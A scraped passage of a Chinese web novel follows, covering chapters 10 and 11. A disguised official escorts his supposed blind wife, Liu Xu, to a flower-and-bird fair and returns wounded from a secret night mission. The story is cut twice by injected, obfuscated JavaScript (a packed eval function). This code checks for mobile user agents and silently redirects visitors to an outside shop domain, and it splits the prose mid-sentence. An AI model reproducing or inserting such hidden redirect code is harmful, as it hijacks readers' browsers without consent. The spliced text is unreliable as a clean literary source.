他原本盘算着,拿到账本之后赵隆必定会派人来抢夺,自己便提前命手下扮作宋阭的人埋伏在侧,届时将账本顺势“抢走”,把赵隆的目光全引到那边去。 哪曾想竟被人先一步截了胡。那人料定了会有人寻到账本,提前动了手脚。 究竟是谁费这般周折引他前去?是赵隆那头的人疑心他查到账本故布疑阵?还是宋阭的人,亦或是……什么他尚且不知道的人? 齐昀阴沉沉看着残缺的账本,无声冷笑。 柳絮耳力素来敏锐,听见翻书声戛然而止,等了一会儿,以为丈夫已看完了,便轻声问道:“夫君,咱们要回城了吗?” 齐昀合上账本,面色已恢复如常,语气平淡,“不,咱们去不远的鹂镇。” 柳絮有些疑惑:“鹂镇?” 齐昀道:“说好了要带你出来散散心,自然不能这么早便回去。鹂镇今夜有花鸟会,带你去逛逛。” 柳絮一愣,手指捏了捏自己的袖摆,迟疑道:“会不会耽搁了夫君的公差?” 齐昀本就不快的心情闻言更是涌上一阵烦躁,皱了皱眉,语气有些不耐烦:“不会。” 柳絮听出他语气里的不耐,立刻不敢再多问,生怕好不容易得来的一点点温情,又叫自己三言两语搅散了。 外头的车夫听见这番对话,先是一怔,随即不动声色地拨转马头,拐入岔路。 —— 鹂镇得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496429|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这么个名儿,是因这里的人家大多以培育和贩卖花鸟为生。 一进镇子,便有各色鸟儿的婉转啼鸣从街上传来,风里裹着沁人心脾的花香,丝丝缕缕透进马车。 柳絮忍不住想撩开帘子出去听听真切,手还未抬起,头上便被轻轻扣上了帷帽。 她捏着帘子的手僵在半空,最终缓缓放了下来。 虽说知道或许丈夫事出有因,但心底还是忍不住猜想,他是不是不想让旁人知道自己和他的关系。 一路无话,到了客栈。 下马车时依旧是齐昀扶着她,只是没有再牵她的手,而是由她自己握着竹杖,他只在一旁偶尔出声提点一两句。 上了三楼客房,两人安静用过饭,齐昀便出了门,说是袍子上沾了染料,去买身成衣换。 柳絮独自坐在窗边的椅子上。 客房里安静极了,门外不时有住客走动说话的声音,窗外也有各色热闹的声响 可她看不见窗外镇子的景色,人生地不熟也不能自己出去转转,手里也没什么活计,只能等丈夫回来。 想到这,柳絮神情恹恹的, 得眼疾之前,她每日忙忙碌碌,虽劳累却觉得踏实,哪怕那时候阿阭每个月只有几日休沐,日子也不觉得无聊。后来得了眼疾,丈夫离开,日子过得艰辛,但的确也是充实的。 如今日子好了,衣来伸手饭来张口,可她心里头总是不踏实,好像眼前这一切本不该属于她。 她很迷茫,觉得自己是不是太不识好歹了,这样好的生活为何还不满足? 柳絮想不通,等来等去也等不到人回来,实在无聊,索性褪了鞋袜上榻小憩一会儿。 直到暮色四合,齐昀才回来。 两人一道用过饭后,便去了花鸟会。 街上人来人往,灯火与花香鸟鸣交织。 齐昀隔着衣袖握住她的手腕,引着她一路前行,并不曾主动说些什么。 柳絮跟着他的步子走,鼻尖充盈着各种花香,耳边是此起彼伏悦耳的鸟鸣。 她无比想看一看,可眼前依旧是无边无际的漆黑。 陡然间,一阵颓丧涌上心头。 若在往日,她或许会趁着这般难得的独处多说几句话,可现下却连开口的力气都没有了。 她垂下头去,帷帽的白纱被夜风吹拂在面上,冰冰凉凉的。 身旁的人忽然停了脚步。 柳絮不明所以,头顶随之响起一道声音。 “这里有一盆培育极佳的金带围,气味清雅,方才可曾闻到?” 柳絮一怔,没想到他会陡然开口相询。 她摇了摇头,轻声问:“金带围……是什么?” 齐昀垂眼看向她,想起她自幼长在乡野,后来得眼疾,自然不识这等名品,于是耐下性子解释道:“芍药的名种之一,花色红中透紫,属金环型,花瓣上下皆是红色,中间围了一圈金黄的花蕊,状如腰带,故而得名。前朝有四相簪花的典故,说的便是它。” 他清朗的声音徐徐道来,柳絮脑海里便随之慢慢浮出那花的样子。 白纱遮面,齐昀倒看不清她的神情,却隐约觉得她心里应当是高兴的,于是难得起了几分为人师的兴致,将四相簪花的掌故也从头到尾讲了一遍。 之后两人便慢慢悠悠地逛了下去,齐昀逐一为她描述沿途的花与鸟,柳絮听着,在脑海里一笔一笔勾摹它们的模样,时不时追着问上几句,语声越来越轻快,间或夹着莞尔笑意。 夜里回到客栈,柳絮摘下帷帽,仍难掩笑意,白日里那点惆怅早烟消云散。 她面向他,语气认真:“夫君,今日多谢你,我已经很久没这样高兴过了。” 齐昀正坐下来斟茶,闻言抬眼看向她。 女人的视线望着虚无,虽然是盲的,瞳仁却明亮润泽如星,方才街上那副雀跃的模样还未全然退去。 真是好哄。 齐昀觉得自己该嘲笑她没见识,一点小恩小惠就高兴成这样,可心情却奇怪的变得不错。 “高兴就好。”他搁下茶盏,不知怎的,又多问了一句,“从前……我不曾带你做过这些么?” 11. 第011章 柳絮正摸索着将帷帽往木架子上挂,闻言手上动作一顿,才轻声应道:“从前的你为我做过许多事,前段时日我给你讲述过一些的。除那些外,我目不能视之后,你亲手做了一捆竹杖给我,还托付邻里和里长照看我。” “就这些?”齐昀眉心微动,心里不以为意,忽然又记起什么,“他……我从前,可曾教你念书习字?” 柳絮眼帘缓缓垂了下去,摇了摇头,试图分辩:“夫君从前学事繁忙,成婚之后在家的时日极少,只抽空教过我识了些字,教我写名姓罢了。后来我得了眼疾,你更是成日领着我四处求医问药,哪还有闲空做这些。” 齐昀听罢,直接嗤了一声。 果真是个伪君子,青梅竹马一道长大,却连字都吝啬教。 他没再说什么,起身出门唤小二要了沐浴的热水,让柳絮自去梳洗,自己则踱到楼下大堂坐了。 思忖片刻,他唤来属下,低声吩咐将花鸟会上柳絮多问过几句的玩意儿,都买回来。 属下微露讶色,他一个眼风扫过去:“怎么,你有话讲?” 那人嘿嘿一笑,立时转身出去办事了。 齐昀垂眸看着桌上的茶盏,想着左右不过是利用她罢了,可人好歹养在身边,哪怕是只猫儿狗儿,也得给些甜头。 隔了好一阵,他才重新上楼。 推门进去,柳絮已沐浴过了,身上里衣紧紧系着带子,一头绸缎似的乌发披散在身后,正坐在床沿出神,不知在想些什么。 齐昀移开视线,扫了眼窗外天色,将今日趁隙暗买来的夜行衣换好,压低声音交代道:“你现下就上榻歇息,把帐子放严实了,我要出去一趟,待会儿不管是谁敲门,都莫要让进来,只说已经歇下了。” 柳絮正纠结要不要同榻而眠,闻声愣了一下,随即连忙点头,摸索着取下帐幔。 她素来不过问这些,觉得丈夫自然有要事去做。 齐昀将屋中蜡烛吹熄,确认那帐子遮得严丝合缝,而后佩好腰刀,推开窗扇,悄无声息跃入夜色之中。 —— 柳絮躺在帐中,隐约听出丈夫翻窗走的,不免有些担忧,哪里还睡得着。 她辗转躺了一会,稍微放松了点,脑子里便翻来覆去都是近日种种,正胡思乱想间,房门忽地被人敲响,是小二在外头问可要添茶。 紧张得心脏一缩,她半坐起来扬声回道:“已歇下了,不必。” 门口的脚步声便渐渐远了。 她松了口气重新躺下,想着丈夫方才那番郑重嘱托,料定他必定在做什么隐秘的大事,一颗心便悬着再放不下来,辗转反侧不知过了多久,才恍惚有了一丝困意。 月色朦胧如纱,满室寂静。 迷迷糊糊中,柳絮忽然听见“吱呀”一声轻响,不等她神识清明,帐子已被人从外掀开,一股冷气混着浓烈血腥味扑面而来。 柳絮嗅觉本就灵敏,被这血味一激,立时吓得清醒过来,张口便要喊人,才一启唇,便被一只手掌牢牢捂住了嘴。 她涌出泪花,拼命挣扎起来,被堵住的喉间溢出细弱的呜咽。 “别叫,是我。” 说话的人声线熟悉,只是很虚弱。 柳絮这才猛然意识到是丈夫回来了,且受了伤。 唇上的手掌松开,她慌忙揭开被子跪坐起身,焦急问:“你受伤了?” 齐昀低低嗯了一声,借着透进来的一点朦胧月光,隐约瞧见她睫毛挂着泪水,衣襟在方才挣扎中蹭得散乱,露出一边玲珑的白皙锁骨,正手足无措地“望”着他。 他别开视线,“你接着睡吧,我换身衣裳。” 柳絮哪里肯依:“可你身上的伤,要不要紧?” 她并不愚钝,丈夫越窗而出,又这般偷摸回来,那这伤必是见不得光的,不能请大夫。 齐昀只道:“小伤,无妨。” “这怎么成?”柳絮声音高了点,又立刻压下去,声音发抖带着点哭腔,“阿阭,我不知你眼下在做何等大事,可受了伤怎能说不要紧?万一……万一出个好歹,可怎么好?” 齐昀失血过多,脸色惨白,正想从怀中取出那完整的账本,等手下办完事了来取,闻言不由怔怔朝她看过去。 “无论如何,总要先清洗包扎才是,我去跟小二要水,只说是沐浴所用,他不会起疑的,毕竟……”说着她抿了下唇,“我们是夫妻。” 齐昀的手僵在怀中,肩背肌肉不自觉绷紧,登时牵动后肩伤口,疼得他轻嘶了一声。 柳絮心头一紧,语速加快:“伤在何处?我这就起来去要水。” “后肩。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496430|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐昀本想等手下来了再草草处置,哪知柳絮已摸索着披好外裳,趿了绣鞋从榻边站了起来。 鬼使神差的,他没再出声阻拦。 柳絮先将帐子掩得严实,又摸到窗边推开半扇,待血腥气散得淡了,才摸索着墙壁出门,拄着竹杖下楼去叫水。 夫妻二人住店,半夜要点几桶热水本是常事,小二并不起疑,收了赏银,欢天喜地地去灶上烧了。 柳絮回到房中,想了想,为谨慎起见不让小二疑心,摸索着把蜡烛重新点亮。 片刻之后,小二便提着水桶上来了,一面往屏风后的浴桶里倒水,一面偷眼往里头张望。 昏昏烛光下,一顶帐子闭得严严实实。 他暗自腹诽:这公子哥瞧着倒是仪表堂堂,莫不是个银样镴枪头?不过倒也寻常,若非身子有疾,哪个正当年纪的富家公子会娶个瞎了眼的小娘子。只是事罢还让人家出去要水,也忒没风度。 倒完水,他临出门时又瞥了柳絮一眼,暗叫可惜。这般花容月貌,偏生是个瞎子,又嫁了个无用的丈夫。 柳絮听着脚步声去得远了,落下门闩,就着浴桶边舀水用的木瓢,往脸盆里舀了半盆温水,而后端稳了,按脑海中记熟的路数,一步一步小心翼翼往床跟前挪。 齐昀掀开帐幔,伸手接过,将盆放在脚踏边,道:“我自己来便好。” 柳絮摇了摇头,“你伤在背上,自己怎么清理?我虽看不见,总比你够不着要强些。” 齐昀虽在外头背着个风流不羁的名声,实则从未在女子面前宽过衣。眼下虽知柳絮瞧不见,心里却仍觉哪儿哪儿都不自在,便不耐道:“说了不必。” 柳絮素来极少坚持什么,若换作平日,大约会因害怕惹得丈夫恼怒而选择乖顺听话,可唯独受伤一事,半步也不会让。 十三岁那年,丈夫的左臂为她所伤,却因未能及时妥当医治,落下了病根,每逢阴雨便隐隐作痛,已成旧疾。如今他肩上又添新伤,她怎能坐视不理? “事有轻重缓急,这等时候不该拘这虚礼。”她顿了顿,语气轻低下去,“我知道你如今失了记忆,觉着我陌生,可偏巧我也看不见,你委实不必这般避讳。” “无论如何,你我如今还是夫妻,这话是你亲口认下的,是也不是?”